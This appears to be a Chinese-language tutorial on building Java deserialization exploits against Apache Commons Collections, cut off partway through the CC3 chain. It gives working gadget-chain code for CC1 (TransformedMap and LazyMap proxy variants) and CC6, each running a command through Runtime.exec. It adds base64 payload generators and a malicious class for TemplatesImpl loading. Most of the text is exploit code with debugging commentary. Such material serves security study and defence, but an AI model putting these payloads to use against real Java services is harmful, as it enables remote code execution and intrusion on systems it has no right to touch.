// entry.setValue(runtime);
// }
// 到这里我们就需要去找一条通过像我们这样调用方法去调用的setValue()
// 这里我们就找到了AnnotationInvocationHandler.java的readObject,现在我们需要通过反射来给memberValue进行赋值(原因是方法是默认类型同包下才能调用)
// 也就是这里的readObject其实就是我们的起点
// 这里是先获取一个AnnotationInvocationHandler的类对象
Class<?> AIHClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取构造方法
Constructor<?> aihClassDeclaredConstructor = AIHClass.getDeclaredConstructor(Class.class, Map.class);
// 设置可以访问
aihClassDeclaredConstructor.setAccessible(true);
// 这里传入的是注解的类,因为参数接受的就是注解类 后面的decorate其实就是我们已经构造好的map
Object o = aihClassDeclaredConstructor.newInstance(Override.class, decorate);

// 下面是正常通过反射执行命令的语句
// Runtime runtime = Runtime.getRuntime();
// 由于Runtime的本身无法序列化,但是Runitme的class其实是可以序列化的
Class<Runtime> runtimeClass = Runtime.class;
// 由于是无参方法所以这里的第二个参数就填null就好了
Method getRuntime = runtimeClass.getMethod("getRuntime",null);
// 这里也是在执行的时候执行的是一个静态方法,也就是不需要对象第一个参数就填null就好,而又是一个无参方法,第二个参数也是null
// 这里其实获取的是一个runtime对象,也就是这一行Runtime runtime = Runtime.getRuntime();
Runtime runtime1 = (Runtime) getRuntime.invoke(null, null);

// 现在我们需要获取exec()方法来执行命令
Method exec1 = runtimeClass.getMethod("exec", String.class);
exec1.invoke(runtime1,"calc");


}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

我们把整个执行全部换成反射

package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class urldnsre {
public static void main(String[] args) throws Exception{


// Runtime.getRuntime().exec("calc");
Class runtimeClass = Runtime.class.getClass();
// 获取一个class对象 用于获取class中的getMethod方法
Method getRuntime = runtimeClass.getMethod("getMethod", String.class, Class[].class
);
// 这里获取到了getMethod之后去获取runtime类的getRuntime也就是Runtime.getRuntime()
Method getRuntimeMethod = (Method) getRuntime.invoke(Runtime.class, "getRuntime", null);

// 这里是获取method类的invoke方法
Class<? extends Method> aClass1 = getRuntimeMethod.getClass();
Method invoke = aClass1.getMethod("invoke", Object.class, Object[].class);
// invoke方法去获取runtime对象也就是Runtime.getRuntime()
Runtime runtime1 = (Runtime) invoke.invoke(getRuntimeMethod, null,null);
// 获取runttime的exec方法
Class<? extends Runtime> aClass2 = runtime1.getClass();
Method exec = aClass2.getMethod("exec", String.class);
// 这里去执行calc
exec.invoke(runtime1,"calc");

}


}

接下来,我们将我们这种形式用到transformer上面

package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.omg.CORBA.OBJ_ADAPTER;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
public static void main(String[] args) throws Exception {
// 下面我们将我们写的套用到transform上面,仔细理解一下,其实这里的transform其实就像我们自己写的反射,但是他给我们进行了封装操作,因此我们只用传入参数就好
// 这里其实要多加一步,我们先要通过反射获取getRuntime 也就是这一行Method getRuntime = runtimeClass.getMethod("getRuntime",null);
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// 这一行Runtime runtime1 = (Runtime) getRuntime.invoke(null, null);
Runtime runtime2 = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
// 这一行Method exec1 = runtimeClass.getMethod("exec", String.class);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime2);


}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

对比版

package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class urldnsre {
public static void main(String[] args) throws Exception{


// Runtime.getRuntime().exec("calc");
Class runtimeClass = Runtime.class.getClass();
// 获取一个class对象 用于获取class中的getMethod方法
Method getRuntime = runtimeClass.getMethod("getMethod", String.class, Class[].class
);
// 这里获取到了getMethod之后去获取runtime类的getRuntime也就是Runtime.getRuntime()
Method getRuntimeMethod = (Method) getRuntime.invoke(Runtime.class, "getRuntime", null);

Method getRuntimetr = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);


// 这里是获取method类的invoke方法
Class<? extends Method> aClass1 = getRuntimeMethod.getClass();
Method invoke = aClass1.getMethod("invoke", Object.class, Object[].class);
// invoke方法去获取runtime对象也就是Runtime.getRuntime()
Runtime runtime1 = (Runtime) invoke.invoke(getRuntimeMethod, null,null);

Runtime runtimetr = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimetr);

// 获取runttime的exec方法
Class<? extends Runtime> aClass2 = runtime1.getClass();
Method exec = aClass2.getMethod("exec", String.class);
// 这里去执行calc
exec.invoke(runtime1,"calc");

new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtimetr);

}


}

这里我们可以发现,这里其实就是循环调用的,也就是前一个的输出是后一个的输入,接着我们找到了ChinedTransformer.java,可以看到对传入的一个Transformer数组进行了循环调用

image-20220604143935084

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.omg.CORBA.OBJ_ADAPTER;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
public static void main(String[] args) throws Exception {

// 这里我们就找到了ChainedTransformer
// 将我们的Transformer放进去
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// 先在构造方法中传入数组
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 调用transform传入一个Runtime.class 这里需要稍微注意一下 因为传入的Runtime.class其实就像一个引水 由它来进行链式调用的开始
chainedTransformer.transform(Runtime.class);



}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

这里也是写完了,但是在进行序列化和反序列化的时候并不会执行

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.omg.CORBA.OBJ_ADAPTER;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
public static void main(String[] args) throws Exception {

// 这里我们就找到了ChainedTransformer
// 将我们的Transformer放进去
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// 先在构造方法中传入数组
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 调用transform传入一个Runtime.class
// 到现在我们也就是只需要调用一次chainedTransformer.transform就可以执行代码了
// chainedTransformer.transform(Runtime.class);

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("key","value");
// chainedTransformer 注意这里进行更改
Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);
Class<?> AIHClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aihClassDeclaredConstructor = AIHClass.getDeclaredConstructor(Class.class, Map.class);
aihClassDeclaredConstructor.setAccessible(true);
Object o = aihClassDeclaredConstructor.newInstance(Override.class, decorate);

serialize(o);
unserialize("ser.bin");

}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

加个断点我们来查看一下是不是if语句的问题

image-20220604145421500

可以看到这里的memberTypes是null也就是进不去if语句.

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

这一句话的意思大概就是去拿注解里面的方法名,返回的是一个hashmap

接下来通过我们传入的objectObjectHashMap中的key去寻找对应的hashmap有没有这个key名称的方法

image-20220604150058536

这里我们先看看正确的

image-20220604150348101

image-20220604150309928

image-20220723203948039

现在已经可用进入if语句了但是又出现了一个问题

image-20220604150435284

注意这个对象

image-20220604150610504

image-20220604150722254

其实这两句是一样的了

chainedTransformer.transform(Runtime.class);
valueTransformer.transform(value);

其实现在你有可能不理解但是你可以跟下去调试一下,也就是到了这一步里面去了,现在我们已经可以调用transform().

image-20220723204606343

但是由于这个value值在前面已经固定了(就是这个对象AnnotationTypeMismatchExceptionProxy),所以我们还需要去将它更改成Rntime.class

我们由找到了这里的ConstanTransformer,由于构造的时候传入的值通过调用transform会原样返回回来,所以我们就可以将这个值改成Runtime.class

image-20220604151100293

也就是说我们,这里通过chainedTransformer.Transformer 去调用 ConstantTransformer.Transformer 这里返回了一个Runtime.class,也正是下面的开始,所以才正式开始利用

最终代码

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.omg.CORBA.OBJ_ADAPTER;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
public static void main(String[] args) throws Exception {

// 这里我们就找到了ChainedTransformer
// 将我们的Transformer放进去
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// 先在构造方法中传入数组
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 调用transform传入一个Runtime.class
// 到现在我们也就是只需要调用一次chainedTransformer.transform就可以执行代码了
// chainedTransformer.transform(Runtime.class);

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("value","value");
// chainedTransformer 注意这里进行更改
Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);
Class<?> AIHClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aihClassDeclaredConstructor = AIHClass.getDeclaredConstructor(Class.class, Map.class);
aihClassDeclaredConstructor.setAccessible(true);
Object o = aihClassDeclaredConstructor.newInstance(Target.class, decorate);

serialize(o);
unserialize("ser.bin");




}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

image-20220723211333445

这里也是可以看到我们由于调用的ConstantTransformer()的Transformer()所以返回回来的值有了改变

image-20220723211446166

image-20220604151512270

流程图

image-20220604153409990

base64版

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class urldnsre {
public static void main(String[] args) throws Exception{


Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("value","value");
Map decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorate);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);

byte[] bytes = byteArrayOutputStream.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String s = encoder.encodeToString(bytes);
System.out.println(s);


Base64.Decoder decoder = Base64.getDecoder();
byte[] decode = decoder.decode(s);

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();




}


}

cc1(二)

先看看它咋调用的

image-20220604154104641

可以看到LazyMap后面的都是一样的

这里的get调用了transform()

image-20220604153845370

可见这里的invoke调用了get方法,并且这里的memberValue可以控制,而且invoke在动态代理的时候,无论外面调用什么方法都会执行invoke方法.

这里原链是通过的AnnotationInvocationHandler.java 的readObject方法作为初始点,通过将memberValues赋值为AnnotationInvocationHandler的动态代理对象(LazyMapProxy)去调用entrySet(),既然memberValues是一个代理对象(LazyMapProxy),那么如果不管调用LazyMap的什么方法都会执行AnnotationInvocationHandler的invoke方法(理解了吗?)

public class ProxyHandler implements InvocationHandler{
private Object object;
public ProxyHandler(Object object){
this.object = object;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("Before invoke " + method.getName());
method.invoke(object, args);
System.out.println("After invoke " + method.getName());
return null;
}
}



public static void main(String[] args) {
System.getProperties().setProperty("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");

HelloInterface hello = new Hello();

InvocationHandler handler = new ProxyHandler(hello);

HelloInterface proxyHello = (HelloInterface) Proxy.newProxyInstance(hello.getClass().getClassLoader(), hello.getClass().getInterfaces(), handler);

proxyHello.sayHello();
}

对比一下

class AnnotationInvocationHandler implements InvocationHandler, Serializable {

public Object invoke(Object proxy, Method method, Object[] args) {
}
}

InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
Object o = declaredConstructor.newInstance(Override.class, mapProxy);

其实这个AnnotationInvocationHandler类就很像我们自己写的ProxyHandler.

image-20220604154945532

这里为啥要用这个entrySet()

image-20220604154225183

这里可以看到不能调用member的equals方法,不然就直接return了,还有就是paramTypes.length不能等于零,不然就抛出异常了

image-20220604154702471

真的搞不懂为什么可以执行反序列化,但是invoke打断点就是进不去 最后将这两个选项去掉才可以

image-20220724164838553

image-20220724165636472

最终代码

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC6Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 上面都是一样的

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
// 这里我们调用流程还是差不都的
Map decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);

//
Class<?> AIHClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aihClassDeclaredConstructor = AIHClass.getDeclaredConstructor(Class.class, Map.class);
aihClassDeclaredConstructor.setAccessible(true);
// 这里我们要使用下面这个AnnotationInvocationHandler 原因就是我们需要动态代理
InvocationHandler invocationHandler = (InvocationHandler) aihClassDeclaredConstructor.newInstance(Override.class, decorate);
// 这里的new Class[]{Map.class} 代表我们要代理map invocationHandler
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
// 以上是反序列化前的准备

// 这一步是反序列化的入口
Object o = aihClassDeclaredConstructor.newInstance(Override.class, mapProxy);


serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

我们再次捋一下

AnnotationInvocationHandler的readObject() 执行了 AnnotationInvocationHandler代理类的entrySet()方法,而当我们去执行代理类中的方法时会导致执行AnnotationInvocationHandler中的invoke方法

image-20220729140319431

image-20220729140619961

接着走到LazyMap的get去

image-20220729140717621

又因为这里的map中不包含这个key

image-20220729140928512

接着就会去执行ConstantTransformer()的transform()

image-20220729141019281

image-20220604161313058

cc6

Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

image-20220604161118461

这里可以看到TiedMapEntry调用了map.get()与上一条链的LazyMap.get相似

image-20220729141512954

这里可以看到TiedMapEntry的hashCode调用了getValue

image-20220604162149234

这里的getValue调用了map.get,而这里的map是我们可控的,那么我们可以将它赋值为LazyMap

image-20220604162237782

也许你已经想到了哪里会有反序列化的入口

image-20220604162722049

就是这里

image-20220604162735062

image-20220604162753148

只需要将key赋值成tiedMapEntry就可以了

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);
// 前面都一样

// 先创建一个tiedMapEntry来调用
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "aaa");

// 这里创建一个HashMap来反序列化
HashMap<Object, Object> objectObjectHashMap1 = new HashMap<>();
// 传入key是tiedMapEntry
objectObjectHashMap1.put(tiedMapEntry,"bbb");

serialize(objectObjectHashMap1);
// unserialize("ser.bin");




}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

根据urldns的经验可以发现在serilize就会执行了,我们需要去更改一下 而且这里并不能正常序列化

image-20220729153658206

我们这里更改LazyMap,这里可以看到这个factory是一个transformer 所以我们可以给他赋值为一个ConstantTransformer

image-20220604163540144

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();


// 现在我们开始更改,也就是在put的时候我们是不能触发这条链的 我们可以更改chainedTransformer transformers LazyMap
// 这里原来放的是chainedTransformer 我们给他放一个空的
Map lazyMap = LazyMap.decorate(objectObjectHashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> objectObjectHashMap1 = new HashMap<>();
objectObjectHashMap1.put(tiedMapEntry,"bbb");

// 我们来改回factory
Class<LazyMap> lazyMapClass = LazyMap.class;
// 获取这个factory
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
// 这里我们在改回chainedTransformer
factoryField.set(lazyMap,chainedTransformer);

// serialize(objectObjectHashMap1);
unserialize("ser.bin");




}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

这里之后序列化不执行了,反序列化也不执行

调一下

image-20220604164229393

下面是关键,由于我们在put之后这里的key就有值了.所以也就不会去执行transform(key),也就是在put之后我们需要将key删除

image-20220729160028576

最终代码

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();


// 现在我们开始更改,也就是在put的时候我们是不能触发这条链的 我们可以更改chainedTransformer transformers LazyMap
// 这里原来放的是chainedTransformer 我们给他放一个空的
Map lazyMap = LazyMap.decorate(objectObjectHashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> objectObjectHashMap1 = new HashMap<>();
objectObjectHashMap1.put(tiedMapEntry,"bbb");

// 这里将aaa删除
lazyMap.remove("aaa");

// 我们来改回factory
Class<LazyMap> lazyMapClass = LazyMap.class;
// 获取这个factory
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
// 这里我们在改回chainedTransformer
factoryField.set(lazyMap,chainedTransformer);

serialize(objectObjectHashMap1);
unserialize("ser.bin");




}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object obj = objectInputStream.readObject();
return obj;
}
}

image-20220729160456615

image-20220604173942786

image-20220604174712102

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class urldnsre {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(objectObjectHashMap, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");


HashMap<Object, Object> o = new HashMap<>();
o.put(tiedMapEntry,"bbb");

lazyMap.remove("aaa");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);






ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);

byte[] bytes = byteArrayOutputStream.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String s = encoder.encodeToString(bytes);
System.out.println(s);


Base64.Decoder decoder = Base64.getDecoder();
byte[] decode = decoder.decode(s);

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}

cc3

->AnnotationInvocationHandler.readObject()
->mapProxy.entrySet().iterator() //动态代理类
->AnnotationInvocationHandler.invoke()
->LazyMap.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InstantiateTransformer.transform()
->TrAXFilter.TrAXFilter()
->TemplatesImpl.newTransformer()
->…………

我们从ClassLoader中的defineClass开始寻找那个defineClass是公有的

image-20220604175440883

找到了这个 这个是defalut接着找这个

image-20220604175837155

这里找到一个私有的,我们接着去找那里变成公有了

image-20220604180236271

image-20220604180528261

这里变成了公有

image-20220604180551841

所以我们已经可以知道从TemplatesImpl类我们就可以自己加载一个类了

先写一个恶意的Test.java

package org.example;

import java.io.IOException;

public class Test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

